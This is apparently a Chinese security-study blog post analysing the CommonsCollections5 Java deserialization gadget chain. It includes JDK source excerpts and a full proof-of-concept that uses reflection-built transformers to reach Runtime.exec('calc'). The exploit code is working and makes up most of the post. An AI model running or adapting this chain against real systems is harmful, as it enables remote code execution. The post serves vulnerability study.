CommonsCollections5

Chiexf Lv4

0x00 前言

0x01 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x02 利用链分析

CC5没有使用HashMap.readObject作为入口类,而是使用了**BadAttributeValueExpException.readObject()作为入口类,不过最后都是走到LazyMap.get()**方法

先来看看CC5链的入口类BadAttributeValueExpException的**readObject()**方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以看到会调用get函数获取val对象,然后赋给valObj,符合判断后调用该对象的**toString()**方法

这时,我们可以去看一下TiedMapRntry类的**toString()**方法

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

可以看到里面调用了**getValue()**方法,在跟进一下

1
2
3
public Object getValue() {
return map.get(key);
}

到这里后面的利用就清楚了,也就是CC6这条链换了个入口类

代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

/**
* 入口类
* BadAttributeValueExpException类
*/

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers");
chainedTransformerClassField.setAccessible(true);
chainedTransformerClassField.set(chainedTransformer,transformers);

serialize(BadAttributeValueExpException对象);
unserialize("ser.bin");

BadAttributeValueExpException

创建BadAttributeValueExpException对象,并利用反射将Val对象改为构造好的tiedMapEntry对象

1
2
3
4
5
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field badAttributeValueExpExceptionClassDeclaredField = badAttributeValueExpExceptionClass.getDeclaredField("val");
badAttributeValueExpExceptionClassDeclaredField.setAccessible(true);
badAttributeValueExpExceptionClassDeclaredField.set(badAttributeValueExpException,tiedMapEntry);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

/**
* 入口类
* BadAttributeValueExpException类
*/
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field badAttributeValueExpExceptionClassDeclaredField = badAttributeValueExpExceptionClass.getDeclaredField("val");
badAttributeValueExpExceptionClassDeclaredField.setAccessible(true);
badAttributeValueExpExceptionClassDeclaredField.set(badAttributeValueExpException,tiedMapEntry);

Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field chainedTransformerClassField = chainedTransformerClass.getDeclaredField("iTransformers");
chainedTransformerClassField.setAccessible(true);
chainedTransformerClassField.set(chainedTransformer,transformers);

serialize(BadAttributeValueExpException对象);
unserialize("ser.bin");

0x03 总结

0x04 参考资料

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec